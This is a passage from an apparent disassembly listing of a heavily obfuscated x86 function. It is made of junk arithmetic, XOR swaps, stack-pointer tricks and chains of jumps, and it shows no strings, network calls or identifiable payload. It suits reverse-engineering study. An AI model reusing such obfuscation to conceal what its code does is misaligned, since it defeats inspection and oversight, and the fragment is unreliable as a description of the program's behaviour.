--------------------------------------------------------------------------- loc_595527: ; CODE XREF: sub_580566+17A10j shr ebp, 8 push ecx mov ecx, 0EF859C8h sub ecx, 0D8441C6h sub ebp, ecx pop ecx shl ebp, 5 sub ebp, 0AEC13923h sub ebx, ebp pop ebp sub ebx, edi jmp loc_596C3F ; --------------------------------------------------------------------------- loc_59554C: ; CODE XREF: sub_580566+23886j pop eax jmp loc_5A3013 ; --------------------------------------------------------------------------- loc_595552: ; CODE XREF: sub_580566+19122j or al, 86h shr al, 8 jmp loc_5A51EA ; --------------------------------------------------------------------------- loc_59555C: ; CODE XREF: sub_580566+1BEBFj pop edi xor ebx, [esp-42h+arg_38+2] xor [esp-42h+arg_38+2], ebx xor ebx, [esp-42h+arg_38+2] pop esp jmp loc_59B526 ; --------------------------------------------------------------------------- loc_59556C: ; CODE XREF: sub_580566+16895j pop esp mov [esp-4Ah+arg_40+2], edx jmp loc_5917B8 ; --------------------------------------------------------------------------- loc_595575: ; CODE XREF: sub_580566+1348Ej mov eax, 1956F68h add esi, eax jmp loc_59D917 ; --------------------------------------------------------------------------- loc_595581: ; CODE XREF: sub_580566+1ACA5j push edi push ecx jmp loc_593974 ; --------------------------------------------------------------------------- loc_595588: ; CODE XREF: sub_580566+15251j push edx mov edx, 657A7013h sub edx, 29E037E2h neg edx sub edx, 47C69A8Eh add ebp, edx jmp loc_5A2876 ; --------------------------------------------------------------------------- loc_5955A3: ; CODE XREF: sub_580566+1C4E1j sub esi, 7D5915B3h pop edx pop ecx jmp loc_597456 ; --------------------------------------------------------------------------- mov sp, word ptr [esp-24h+arg_1A+2] jmp loc_59770A ; --------------------------------------------------------------------------- lodsb xor al, bl push dx push edi mov edi, esp push eax jmp loc_594D31 ; --------------------------------------------------------------------------- loc_5955C7: ; CODE XREF: sub_580566+108D8j pop ebx add esp, 4 pop ecx push eax jmp loc_596BC8 ; --------------------------------------------------------------------------- loc_5955D5: ; CODE XREF: sub_580566+1CFDFj pop ebx add edx, ebp mov ebp, [esp-4Ch+arg_44] jmp loc_599485 ; --------------------------------------------------------------------------- loc_5955E0: ; CODE XREF: sub_580566+10DCCj mov [esp-2Ah+arg_20+2], ebx mov ebx, 8FC193D4h sub edi, ebx jmp loc_59E42A ; --------------------------------------------------------------------------- loc_5955EF: ; CODE XREF: sub_580566+22452j add ebp, 8A51B98Bh jmp loc_5A24DE ; --------------------------------------------------------------------------- loc_5955FA: ; CODE XREF: sub_580566+19450j shl byte ptr [esp-2Ah+arg_20+2], cl pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_595603: ; CODE XREF: sub_580566+20EAFj pop eax xchg dh, cl not dh xchg dh, cl jmp loc_5951DE ; --------------------------------------------------------------------------- loc_59560F: ; CODE XREF: sub_580566+21ED0j pop edx add esi, eax pop eax push 12AEh jmp loc_592AE2 ; --------------------------------------------------------------------------- loc_59561D: ; CODE XREF: sub_580566+1D6C5j push edx push 1Ch pop edx add edx, edi push ebx mov ebx, 0 add ebx, edx mov eax, [ebx] pop ebx mov edx, [esp-2Ah+arg_20+2] push esi mov esi, esp push 739Bh mov [esp-22h+arg_1A], ebx jmp loc_591422 ; --------------------------------------------------------------------------- loc_595644: ; CODE XREF: sub_580566+20185j mov [esp-22h+arg_1A], ebp push ebx mov ebx, 69C837BEh mov ebp, ebx pop ebx push 1F17h mov [esp-1Eh+arg_16], edx push ebx mov ebx, 284472DDh jmp loc_5A1FF6 ; --------------------------------------------------------------------------- loc_595663: ; CODE XREF: sub_580566+1C089j sub ecx, 4 xchg ecx, [esp-1Ah+arg_12] pop esp mov [esp-1Eh+arg_16], edi mov edi, 112F3154h push eax mov eax, 147705E5h add eax, 13D23473h jmp loc_5965D2 ; --------------------------------------------------------------------------- loc_595682: ; CODE XREF: sub_580566+1A204j push eax push esp jmp loc_5A4D15 ; --------------------------------------------------------------------------- loc_595689: ; CODE XREF: sub_580566+1CD01j pop edx add ebp, esi push [esp-16h+arg_E] pop esi sub esp, 4 mov [esp-12h+arg_A], edi jmp loc_598FF7 ; --------------------------------------------------------------------------- loc_59569B: ; CODE XREF: sub_580566+17E41j mov esp, [esp-12h+arg_A] jmp loc_5A0507 ; --------------------------------------------------------------------------- loc_5956A3: ; CODE XREF: sub_580566+151D6j push esp jmp loc_5A38D6 ; --------------------------------------------------------------------------- loc_5956A9: ; CODE XREF: sub_580566+1648Cj mov ebx, 486465E4h shr ebx, 2 jmp loc_59D892 ; --------------------------------------------------------------------------- loc_5956B6: ; CODE XREF: sub_580566+1C648j xor edx, 7B8273DEh mov ebx, edx pop edx sub esp, 4 mov [esp-0Eh+arg_8+2], eax mov eax, ebx mov ecx, eax pop eax pop ebx push 83C7E1DFh mov edi, [esp-12h+arg_A] add esp, 4 push edx mov edx, 3A4867DCh push edx mov edx, 28F50733h add edi, edx jmp loc_59CE7C ; --------------------------------------------------------------------------- loc_5956E9: ; CODE XREF: sub_580566+137C7j mov eax, [esp-36h+arg_2C+2] push ecx push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp-32h+arg_28+2] pop esp xchg esi, [esp-36h+arg_2C+2] pop esp push 3FADh mov [esp-36h+arg_2C+2], esi push esp push [esp-32h+arg_28+2] pop esi jmp loc_59F420 ; --------------------------------------------------------------------------- loc_595715: ; CODE XREF: sub_580566+133E6j add esp, 4 push ebp mov ebp, 24h sub esi, 4122FFAh push edi push edx push eax jmp loc_5A483F ; --------------------------------------------------------------------------- push [esp-1Ch+arg_12+2] mov eax, [esp-18h+arg_E+2] add esp, 4 push ebx jmp loc_5956A3 ; --------------------------------------------------------------------------- loc_595741: ; CODE XREF: sub_580566+217BFj pop ebx xor bl, al movzx eax, al push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp-18h+arg_E+2] pop esp mov [esp-1Ch+arg_12+2], edx push ecx push esp pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp-18h+arg_E+2] jmp loc_59DAEF ; --------------------------------------------------------------------------- loc_595774: ; CODE XREF: sub_580566+1A889j push esp pop edx push eax mov eax, 4 add edx, eax pop eax push 77CAh mov [esp-14h+arg_A+2], ebp push 2E4A51AEh pop ebp push edi mov edi, 2E4A51AAh jmp loc_599621 ; --------------------------------------------------------------------------- loc_595798: ; CODE XREF: sub_580566+214AFj add esp, 4 sub cl, 22h jmp loc_5A4C03 ; --------------------------------------------------------------------------- loc_5957A3: ; CODE XREF: sub_580566+2080Dj add edx, 4 xchg edx, [esp-14h+arg_A+2] pop esp jmp loc_5A1B5A ; --------------------------------------------------------------------------- loc_5957B2: ; CODE XREF: sub_580566+1A79Ej mov edx, 4 jmp loc_595588 ; --------------------------------------------------------------------------- loc_5957BC: ; CODE XREF: sub_580566+1CF0Ej push 5427h mov [esp-14h+arg_A+2], edx push 0F2Ah mov [esp+0], esp add dword ptr [esp+0], 4 pop edx jmp loc_59C4C1 ; --------------------------------------------------------------------------- loc_5957D9: ; CODE XREF: sub_580566+1105Fj mov esp, [esp-38h+arg_30] mov [esp-38h+arg_30], edx jmp loc_5A3887 ; --------------------------------------------------------------------------- loc_5957E4: ; CODE XREF: sub_580566+10FA2j shr ecx, 2 push 7D36h mov [esp-2Ah+arg_20+2], ebx push [esp-2Ah+arg_20+2] pop eax push ecx push esp pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp+0] pop esp mov [esp-2Ah+arg_20+2], edi mov edi, esp push 7914h mov [esp+0], ebx push 7DAEh mov [esp-22h+arg_1A], edx push 5C037F3Ah pop edx inc edx push esi jmp loc_5A175B ; --------------------------------------------------------------------------- loc_595828: ; CODE XREF: sub_580566+24858j add edx, 4 sub edx, 4 xchg edx, [esp-1Eh+arg_16] jmp loc_59A709 ; --------------------------------------------------------------------------- loc_595839: ; CODE XREF: sub_580566+1741Cj pop edx add ebp, eax jmp loc_59435A ; --------------------------------------------------------------------------- loc_595841: ; CODE XREF: sub_580566+213B8j and ebx, esi pop esi shr ebx, 6 sub ebx, 0FB881h jmp loc_5A3F63 ; --------------------------------------------------------------------------- loc_595852: ; CODE XREF: sub_580566+14155j add esp, 4 push ebp mov ebp, 4D535FC8h and edx, ebp mov ebp, [esp-42h+arg_38+2] add esp, 4 shl edx, 8 push ecx mov ecx, 1 jmp loc_595A44 ; --------------------------------------------------------------------------- loc_595877: ; CODE XREF: sub_580566+18F5Ej sub ebp, 0FFFFFFFFh push eax jmp loc_5A09BC ; --------------------------------------------------------------------------- mov cx, word ptr [esp-3Eh+arg_34+2] push esi jmp loc_597D4D ; --------------------------------------------------------------------------- loc_59588D: ; CODE XREF: sub_580566+11EFBj mov [esp-2Ah+arg_20+2], eax mov eax, 4FEA5ADBh xor eax, 4FEA5ADFh add ecx, eax pop eax xchg ecx, [esp-2Eh+arg_24+2] pop esp xchg eax, [esp-32h+arg_28+2] mov esp, [esp-32h+arg_28+2] push 6DBDh mov [esp-2Eh+arg_24+2], ecx jmp loc_599E24 ; --------------------------------------------------------------------------- loc_5958B4: ; CODE XREF: sub_580566+172F6j mov edx, esp jmp loc_5A386F ; --------------------------------------------------------------------------- loc_5958BB: ; CODE XREF: sub_580566+1D246j pop esi pop ebp mov ebp, [esp-36h+arg_2C+2] add esp, 4 jmp loc_599CD1 ; --------------------------------------------------------------------------- loc_5958CB: ; CODE XREF: sub_580566+24CAEj mov word ptr [esp-3Ah+arg_30+2], dx jmp loc_5A0EA8 ; --------------------------------------------------------------------------- loc_5958D4: ; CODE XREF: sub_580566+1ABD5j pop edx push edi jmp loc_59BB02 ; --------------------------------------------------------------------------- loc_5958DB: ; CODE XREF: sub_580566+1FF79j dec edi sub edi, 0D0FA51h add [esp-3Ah+arg_34+2], edi pop edi pop edi push edx mov edx, 4 sub edi, 448671FFh add edi, 2A63606Dh add edi, edx sub edi, 2A63606Dh jmp loc_5A0BFE ; --------------------------------------------------------------------------- loc_595907: ; CODE XREF: sub_580566+1C7EBj xor esi, [esp-3Eh+arg_34+2] jmp loc_59AA0A ; --------------------------------------------------------------------------- loc_59590F: ; CODE XREF: sub_580566+1CB0Aj push 1B2652E0h pop ebp dec ebp dec ebp jmp loc_59CC68 ; --------------------------------------------------------------------------- loc_59591C: ; CODE XREF: sub_580566+1E29Aj add edi, ebx pop ebx add edi, 4 xchg edi, [esp-42h+arg_38+2] mov esp, [esp-42h+arg_38+2] push ecx sub esp, 4 jmp loc_5A5201 ; --------------------------------------------------------------------------- loc_595934: ; CODE XREF: sub_580566+1ADA6j pop esp push ebp push esi mov esi, 4 jmp loc_590BE6 ; --------------------------------------------------------------------------- loc_595941: ; CODE XREF: sub_580566+221D6j push ebx mov ebx, esp jmp loc_59FD2D ; --------------------------------------------------------------------------- loc_595949: ; CODE XREF: sub_580566+20CC3j push ebx push edi push 703E6C27h jmp loc_5A044C ; --------------------------------------------------------------------------- loc_595955: ; CODE XREF: sub_580566+17572j pop ebp add ebx, 56F0466Ch sub ebx, ecx sub ebx, 56F0466Ch jmp loc_590BCF ; --------------------------------------------------------------------------- loc_595969: ; CODE XREF: sub_580566+1825Fj sub ax, bx sub ax, 3558h jmp loc_596314 ; --------------------------------------------------------------------------- loc_595975: ; CODE XREF: sub_580566+1B883j shl esi, 8 push eax mov eax, 0F3AC77FCh jmp loc_592C49 ; --------------------------------------------------------------------------- loc_595983: ; CODE XREF: sub_580566+19B73j add esi, 4 xchg esi, [esp+0] pop esp push small 6B92h mov word ptr [esp-28h+arg_20], ax sub esp, 4 mov [esp-24h+arg_1A+2], ebx mov bl, 0F5h sub bl, 1 shr bl, 3 shl bl, 1 jmp loc_596BFA ; --------------------------------------------------------------------------- loc_5959AA: ; CODE XREF: sub_580566+19B52j push edx mov edx, 5C3360F3h add edx, 0FFFFFFFFh sub edx, 629B5436h neg edx and edx, 11140ED0h xor edx, 7B527DBBh sub eax, edx pop edx mov ebp, eax pop eax push eax jmp loc_59F835 ; --------------------------------------------------------------------------- loc_5959D6: ; CODE XREF: sub_580566+168CEj mov eax, [esp-24h+arg_1A+2] add esp, 4 jmp loc_59886E ; --------------------------------------------------------------------------- loc_5959E4: ; CODE XREF: sub_580566+1EA75j sub eax, 151C58F3h jmp loc_5A0106 ; --------------------------------------------------------------------------- loc_5959EE: ; CODE XREF: sub_580566+12FCAj and al, bh pop ebx inc al add al, 0FFh sub al, 9Bh add bl, al pop eax add bl, al sub bl, 0C7h sub bl, 0E0h movzx eax, al jmp loc_59104A ; --------------------------------------------------------------------------- loc_595A0A: ; CODE XREF: sub_580566+20F22j sub eax, 0D81731Eh inc eax sub eax, 38F342EBh add eax, 0F3CD933Bh jmp loc_59BDA4 ; --------------------------------------------------------------------------- loc_595A1F: ; CODE XREF: sub_580566+210CDj push edx mov edx, 36477584h jmp loc_595030 ; --------------------------------------------------------------------------- loc_595A2A: ; CODE XREF: sub_580566+1E1ABj mov [esp-40h+arg_38], eax mov ah, 6Dh inc ah jmp loc_592212 ; --------------------------------------------------------------------------- loc_595A36: ; CODE XREF: sub_580566+1E8A9j pop ebx push 4BD6h mov [esp-40h+arg_38], esi jmp loc_5A165C ; --------------------------------------------------------------------------- loc_595A44: ; CODE XREF: sub_580566+1530Cj sub edx, ecx jmp loc_59EB3B ; --------------------------------------------------------------------------- loc_595A4B: ; CODE XREF: sub_580566+1408Bj push [esp-1Ch+arg_12+2] pop esi add esp, 4 push edi mov edi, 13976DEh add ebx, edi jmp loc_59AD5C ; --------------------------------------------------------------------------- loc_595A62: ; CODE XREF: sub_580566+14A4Fj xor edx, [esp-66h+arg_5E] mov esp, [esp-66h+arg_5E] shl word ptr [esp-66h+arg_5E], cl pushf jmp loc_59D6BA ; --------------------------------------------------------------------------- loc_595A72: ; CODE XREF: sub_580566+24763j mov [esp-62h+arg_5A], ebx pop eax pop ebx push 7F0Ch mov [esp-66h+arg_5E], ecx push 5483h jmp loc_598FCD ; --------------------------------------------------------------------------- loc_595A89: ; CODE XREF: sub_580566+191A9j inc esi xor esi, 2D604130h mov ebx, esi mov esi, [esp-62h+arg_5A] add esp, 4 or ebx, 4A276F3h xor ebx, 19B567ACh jmp loc_5927B7 ; --------------------------------------------------------------------------- loc_595AAC: ; CODE XREF: sub_580566+11659j push [esp-30h+arg_28] pop ebp add esp, 4 add ebp, 32BD2E84h neg ebp shl ebp, 2 not ebp push eax mov eax, 1C651E6Bh sub ebp, eax pop eax push 7560h mov [esp-30h+arg_28], edx mov edx, 6B880C3Dh inc edx xor edx, 46CE916h jmp loc_59F419 ; --------------------------------------------------------------------------- loc_595AE2: ; CODE XREF: sub_580566+1D894j add [esp-30h+arg_28], 4 pop ecx push ebx mov ebx, esp add ebx, 4 push 6FA9h mov [esp-2Ch+arg_24], eax mov eax, 46FF124Ah push edx mov edx, 6BDE3E71h jmp loc_593863 ; --------------------------------------------------------------------------- loc_595B08: ; CODE XREF: sub_580566+19971j mov word ptr [esp-28h+arg_20], ax sub esp, 4 jmp loc_5A4A1B ; --------------------------------------------------------------------------- loc_595B14: ; CODE XREF: sub_580566+1E645j xor ch, bh pop bx sub al, 0E1h add al, ch add al, 0E1h push dword ptr [esp+0] pop ecx push 63D6h mov [esp-22h+arg_1A], edi push esi mov esi, esp add esi, 4 push ebx mov ebx, 4 jmp loc_5916A1 ; --------------------------------------------------------------------------- loc_595B3E: ; CODE XREF: sub_580566+1449Bj dec ebp neg ebp xor ebp, 4EB61A15h add ebp, 0DD71AE5Fh sub edi, 44A46F5h jmp loc_5A31C4 ; --------------------------------------------------------------------------- loc_595B58: ; CODE XREF: sub_580566+11ED2j push edi jmp loc_59B57F ; --------------------------------------------------------------------------- loc_595B5E: ; CODE XREF: sub_580566+11A7Cj push esp pop ebp push edi mov edi, 164746DDh xor edi, 599F58D0h xchg eax, edi neg eax xchg eax, edi xor edi, 0B027E1F7h jmp loc_59C3A8 ; --------------------------------------------------------------------------- loc_595B7B: ; CODE XREF: sub_580566+18BE5j pop esp jmp loc_593F32 ; --------------------------------------------------------------------------- loc_595B81: ; CODE XREF: sub_580566+135DFj sub ebx, ecx jmp loc_59885D ; --------------------------------------------------------------------------- loc_595B88: ; CODE XREF: sub_580566+10CBAj add esp, 4 add ebp, 4 xchg ebp, [esp-38h+arg_30] mov esp, [esp-38h+arg_30] push ebp push 1 pop ebp jmp loc_5A3738 ; --------------------------------------------------------------------------- loc_595BA3: ; CODE XREF: sub_580566+1C9D3j mov ebx, 0DE5F12h jmp loc_59974D ; --------------------------------------------------------------------------- loc_595BAD: ; CODE XREF: sub_580566+1EFCDj push ebx push 3A1Bh mov [esp-2Ch+arg_24], esp sub esp, 4 mov [esp-28h+arg_20], eax mov eax, 4 jmp loc_5A3130 ; --------------------------------------------------------------------------- loc_595BC6: ; CODE XREF: sub_580566+2084Fj dec word ptr [esp-28h+arg_20] pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_595BD0: ; CODE XREF: sub_580566+19682j mov ebx, ecx mov ebp, ebx mov ebx, [esp-24h+arg_1A+2] push 4F18h mov [esp-20h+arg_16+2], ebx mov ebx, esp add ebx, 4 jmp loc_59D512 ; --------------------------------------------------------------------------- loc_595BEC: ; CODE XREF: sub_580566+1A9EBj add esi, 4E8B58E5h jmp loc_59C773 ; --------------------------------------------------------------------------- loc_595BF7: ; CODE XREF: sub_580566+21A6Ej push 18C4h mov [esp-1Ch+arg_12+2], ecx mov ecx, 20431E70h sub ecx, 5EB35BFCh push eax mov eax, 1D6220FAh jmp loc_5A0BD1 ; --------------------------------------------------------------------------- loc_595C15: ; CODE XREF: sub_580566+1DD99j pop ecx jmp loc_5A0936 ; --------------------------------------------------------------------------- loc_595C1B: ; CODE XREF: sub_580566+1F64Bj sub al, 0C5h sub al, 14h sub al, bl add al, 14h push edx push eax mov al, 5Eh xor al, 35h add al, 2Dh jmp loc_59FD39 ; --------------------------------------------------------------------------- loc_595C30: ; CODE XREF: sub_580566+1444Dj jmp loc_590A9B ; --------------------------------------------------------------------------- loc_595C35: ; CODE XREF: sub_580566+10830j push edi mov edi, 3B9942B7h dec edi dec edi shr edi, 2 or edi, 29070E3Bh push edx mov edx, 0EE97FA6Ah jmp loc_59D12A ; --------------------------------------------------------------------------- loc_595C51: ; CODE XREF: sub_580566+24748j sub edi, 7EB967D9h sub edi, 62412480h jmp loc_595270 ; --------------------------------------------------------------------------- loc_595C62: ; CODE XREF: sub_580566+13857j push 3ED2h mov [esp-32h+arg_28+2], esi mov eax, [esp-32h+arg_28+2] push 1BD3h mov [esp-2Eh+arg_24+2], eax mov eax, esp sub esp, 4 jmp loc_5A3B25 ; --------------------------------------------------------------------------- loc_595C82: ; CODE XREF: sub_580566+12E0Ej and ebp, esi jmp loc_59E440 ; --------------------------------------------------------------------------- loc_595C89: ; CODE XREF: sub_580566+136FFj xchg eax, [esp-3Ah+arg_30+2] pop esp push edx mov edx, 4CF23EF2h and edx, 3F3517EAh sub edx, 0C3016DEh add ebp, 56E00E3Ah add ebp, edx push ecx mov ecx, 7B8B6AF1h xor ecx, 490C6311h jmp loc_59E1F5 ; --------------------------------------------------------------------------- loc_595CB8: ; CODE XREF: sub_580566+19F79j mov edi, 4 sub eax, 4A6B3D74h add eax, edi jmp loc_5A5BE7 ; --------------------------------------------------------------------------- loc_595CC9: ; CODE XREF: sub_580566+1251Aj add ebx, esi mov esi, [esp-30h+arg_28] add esp, 4 push [esp-34h+arg_2C] mov edx, [esp-30h+arg_28] add esp, 4 jmp loc_5A4F4F ; --------------------------------------------------------------------------- loc_595CE2: ; CODE XREF: sub_580566+1D2FAj pop esp or edx, eax shl edx, 1 jmp loc_599137 ; --------------------------------------------------------------------------- loc_595CEC: ; CODE XREF: sub_580566+10712j mov ebx, 64D75994h push edx mov edx, 4D966F43h jmp loc_5987E6 ; --------------------------------------------------------------------------- loc_595CFC: ; CODE XREF: sub_580566+1AFE4j add esp, 4 push esi mov esi, ecx mov ebx, esi pop esi pop ecx add edi, ebx pop ebx push ebp push 4 pop ebp add edi, ebp mov ebp, [esp-4Eh+arg_44+2] add esp, 4 xor edi, [esp-52h+arg_48+2] jmp loc_599E96 ; --------------------------------------------------------------------------- loc_595D23: ; CODE XREF: sub_580566+1B146j mov ax, word ptr [esp-52h+arg_48+2] add esp, 2 movzx eax, al mov dx, word ptr [esp-56h+arg_4E] push ebp jmp loc_597CAE ; --------------------------------------------------------------------------- loc_595D3A: ; CODE XREF: sub_580566+14D7Aj mov eax, 872234C2h sub eax, ebx jmp loc_599B71 ; --------------------------------------------------------------------------- loc_595D46: ; CODE XREF: sub_580566+1DEEBj pop edi add esi, 6BA16AD1h add esi, ecx sub esi, 6BA16AD1h pop ecx xor esi, [esp-50h+arg_48] xor [esp-50h+arg_48], esi xor esi, [esp-50h+arg_48] mov esp, [esp-50h+arg_48] ror word ptr [esp-50h+arg_48], cl pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_595D6C: ; CODE XREF: sub_580566+11870j and edi, 6FAF5B12h sub edi, 58B5E3Ah jmp loc_5A3561 ; --------------------------------------------------------------------------- loc_595D7D: ; CODE XREF: sub_580566+23758j push 4 pop esi push ebp mov ebp, 648D18EDh add [esp-5Ch+arg_5A+2], ebp pop ebp add [esp-60h+arg_5A+2], esi push eax jmp loc_59E993 ; --------------------------------------------------------------------------- loc_595D98: ; CODE XREF: sub_580566+13AABj and eax, 0F3A4584h push edi jmp loc_5952E5 ; --------------------------------------------------------------------------- loc_595DA3: ; CODE XREF: sub_580566+1AC1Cj add esp, 4 jmp loc_595517 ; --------------------------------------------------------------------------- loc_595DAE: ; CODE XREF: sub_580566+25341j add esp, 4 xor edx, [esp-4Ah+arg_40+2] jmp loc_5A4994 ; --------------------------------------------------------------------------- loc_595DB9: ; CODE XREF: sub_580566+14E61j push 3C3Ah mov [esp-2Ch+arg_24], eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp-2Ch+arg_24] pop esp push esi push 6966A5Ch push [esp-28h+arg_20] jmp loc_5938DB ; --------------------------------------------------------------------------- loc_595DDF: ; DATA XREF: sub_580566+10446o push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp+0], cl pushf jmp loc_592E5E ; --------------------------------------------------------------------------- loc_595DEE: ; CODE XREF: sub_580566+13D7Cj push esi push esp jmp loc_596D3D ; --------------------------------------------------------------------------- push dword ptr [esp+0] pop eax push esi sub esp, 4 mov [esp-1Eh+arg_16], esp sub esp, 4 mov [esp-1Ah+arg_12], edi push 4 pop edi add [esp-1Ah+arg_16], edi mov edi, [esp-1Ah+arg_12] add esp, 4 mov esi, [esp-1Eh+arg_16] add esp, 4 push ebp jmp loc_591BBA ; --------------------------------------------------------------------------- loc_595E28: ; CODE XREF: sub_580566+1AF2Dj push dx mov dh, 0B4h add al, dh jmp loc_5A52D7 ; --------------------------------------------------------------------------- loc_595E33: ; CODE XREF: sub_580566+118F5j add edi, 3AA5AC76h sub edi, 0F8909FCh mov edx, edi pop edi jmp loc_59F596 ; --------------------------------------------------------------------------- loc_595E47: ; CODE XREF: sub_580566+217F7j mov esp, [esp-56h+arg_4E] jmp loc_594369 ; --------------------------------------------------------------------------- loc_595E4F: ; CODE XREF: sub_580566+13107j pop ebp pop ebx mov ebx, ecx mov ecx, [esp-30h+arg_28] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-2Ch+arg_24] jmp loc_597DF6 ; --------------------------------------------------------------------------- loc_595E6D: ; CODE XREF: sub_580566+13F59j add ecx, 4 push ecx push [esp-3Eh+arg_38+2] pop ecx pop [esp-3Eh+arg_34+2] pop esp push eax push 40520AD0h pop eax jmp loc_59E164 ; --------------------------------------------------------------------------- loc_595E89: ; CODE XREF: sub_580566+18CBFj pop eax add ebx, 4 xchg ebx, [esp-46h+arg_3C+2] mov esp, [esp-46h+arg_3C+2] xor ebx, esi xor esi, ebx jmp loc_591F3B ; --------------------------------------------------------------------------- loc_595E9F: ; CODE XREF: sub_580566+18251j pop esp push edx jmp loc_59F66B ; --------------------------------------------------------------------------- loc_595EA6: ; CODE XREF: sub_580566+1B24Fj push eax mov eax, 4F371C49h jmp loc_5977A7 ; --------------------------------------------------------------------------- loc_595EB1: ; CODE XREF: sub_580566+18B93j shr edi, 4 sub edi, 5ED41006h add edi, 5DCE2929h jmp loc_5A1793 ; --------------------------------------------------------------------------- loc_595EC5: ; CODE XREF: sub_580566+1AEB0j not ebx jmp loc_59E140 ; --------------------------------------------------------------------------- loc_595ECC: ; CODE XREF: sub_580566+20A94j push 6792h mov [esp-3Eh+arg_34+2], edx jmp loc_59BE76 ; --------------------------------------------------------------------------- loc_595ED9: ; CODE XREF: sub_580566+1C2BAj push ebp mov ebp, esp jmp loc_59F734 ; --------------------------------------------------------------------------- loc_595EE1: ; CODE XREF: sub_580566+1D803j pop edx sub eax, ebp pop ebp xor eax, 90F371Eh add ecx, eax pop eax jmp loc_593CCE ; --------------------------------------------------------------------------- loc_595EF2: ; CODE XREF: sub_580566+2095Aj mov esi, 4A49396Ah push ebx push edx jmp loc_5A4768 ; --------------------------------------------------------------------------- loc_595EFE: ; CODE XREF: sub_580566+23F76j mov ecx, [esp-3Eh+arg_34+2] sub esp, 4 jmp loc_5A363C ; --------------------------------------------------------------------------- loc_595F0C: ; CODE XREF: sub_580566+220B5j sub ecx, eax add ecx, 1080305h push edi mov edi, 1A916428h sub edi, 9FDDEDB6h sub ecx, edi jmp loc_598893 ; --------------------------------------------------------------------------- loc_595F27: ; CODE XREF: sub_580566+247AAj mov ecx, esp sub esp, 4 mov [esp-32h+arg_28+2], esi mov esi, 5CA47974h neg esi jmp loc_590E04 ; --------------------------------------------------------------------------- loc_595F3E: ; CODE XREF: sub_580566+20A69j sub edx, 244363B3h push eax mov eax, esp add eax, 4 push ecx mov ecx, 4 sub eax, ecx pop ecx jmp loc_599A8B ; --------------------------------------------------------------------------- loc_595F5A: ; CODE XREF: sub_580566+18858j mov esi, 0ABD2C6D7h sub esi, 7F0406E7h sub esi, edi push edi jmp loc_5A3CAC ; --------------------------------------------------------------------------- loc_595F6D: ; CODE XREF: sub_580566+22B24j mov ebp, 42524C65h and ebx, ebp pop ebp jmp loc_5970C2 ; --------------------------------------------------------------------------- loc_595F7A: ; CODE XREF: sub_580566+1DE7Cj pop esi push [esp-32h+arg_28+2] pop edi push 7 mov [esp-2Eh+arg_24+2], eax jmp loc_59E3A8 ; --------------------------------------------------------------------------- loc_595F8C: ; CODE XREF: sub_580566+1C1D3j pop edx shr bl, 6 inc bl push ecx mov ch, 28h jmp loc_59A69D ; --------------------------------------------------------------------------- loc_595F9A: ; CODE XREF: sub_580566+1F357j add ch, dl add ch, 0D3h sub ch, 1Ch mov edx, [esp-2Eh+arg_24+2] jmp loc_590AE5 ; --------------------------------------------------------------------------- loc_595FAA: ; CODE XREF: sub_580566+1A09Dj xchg edi, [esp-2Eh+arg_24+2] pop esp jmp loc_5989C5 ; --------------------------------------------------------------------------- loc_595FB3: ; CODE XREF: sub_580566+13679j xchg eax, [esp-4Ch+arg_44] pop esp add esi, 191E6130h sub esi, edx sub esi, 191E6130h push edx mov edx, 58C579C5h sub esi, edx pop edx pop edx xchg esi, [esp+0] jmp loc_59E775 ; --------------------------------------------------------------------------- loc_595FD7: ; CODE XREF: sub_580566+14A38j or esi, ebp pop ebp shr esi, 8 shl esi, 1 jmp loc_5932F7 ; --------------------------------------------------------------------------- loc_595FE4: ; CODE XREF: sub_580566+22C59j add [esp-56h+arg_4E], 4 pop edi add edi, 4 add edi, 4 xor edi, [esp-5Ah+arg_52] xor [esp-5Ah+arg_52], edi xor edi, [esp-5Ah+arg_52] mov esp, [esp-5Ah+arg_52] jmp loc_59BC36 ; --------------------------------------------------------------------------- loc_596009: ; CODE XREF: sub_580566+1F05Dj sub esi, 0E5359FE2h or eax, esi pop esi jmp loc_593F57 ; --------------------------------------------------------------------------- loc_596017: ; CODE XREF: sub_580566+22437j add eax, edx sub eax, 137C5470h mov edx, [esp-5Eh+arg_56] add esp, 4 jmp loc_5A3EEE ; --------------------------------------------------------------------------- loc_59602C: ; CODE XREF: sub_580566+2463Fj pop edi jmp loc_592C3D ; --------------------------------------------------------------------------- loc_596032: ; CODE XREF: sub_580566+220A8j mov bh, 0F9h add ch, bh pop bx jmp loc_59F5C8 ; --------------------------------------------------------------------------- loc_59603D: ; CODE XREF: sub_580566+1AB4Ej add ebx, ecx push eax mov eax, 696054Eh add ebx, eax pop eax pop ecx jmp loc_594DE8 ; --------------------------------------------------------------------------- loc_59604E: ; CODE XREF: sub_580566+22A9Fj xchg eax, esi pop eax jmp loc_5973F2 ; --------------------------------------------------------------------------- loc_596055: ; CODE XREF: sub_580566+24C15j mov ebx, 58613AF5h jmp loc_59775D ; --------------------------------------------------------------------------- loc_59605F: ; CODE XREF: sub_580566+17908j push ebp pop eax pop ebp jmp loc_5A3286 ; --------------------------------------------------------------------------- loc_596067: ; CODE XREF: sub_580566+15C0Dj add esp, 4 jmp loc_591439 ; --------------------------------------------------------------------------- loc_596072: ; CODE XREF: sub_580566+120FCj xor ebx, 73F300EDh inc ebx push ecx mov ecx, 6FB301DEh sub ebx, ecx pop ecx add ecx, ebx pop ebx xchg ecx, [esp-4Eh+arg_44+2] jmp loc_59CD04 ; --------------------------------------------------------------------------- loc_59608D: ; CODE XREF: sub_580566+1834Cj push esi mov esi, esp push ebp mov ebp, 45F13912h shl ebp, 2 neg ebp sub ebp, 0E83B1BB4h add esi, ebp pop ebp add esi, 4 xchg esi, [esp-4Ah+arg_40+2] pop esp jmp loc_59E54E ; --------------------------------------------------------------------------- loc_5960B0: ; CODE XREF: sub_580566+1AD9Bj sub esi, 161B44AFh add esi, ebx jmp loc_5A0F9D ; --------------------------------------------------------------------------- loc_5960BD: ; CODE XREF: sub_580566+1F737j mov edx, 54BC76A7h or edx, 48A91603h dec edx inc edx inc 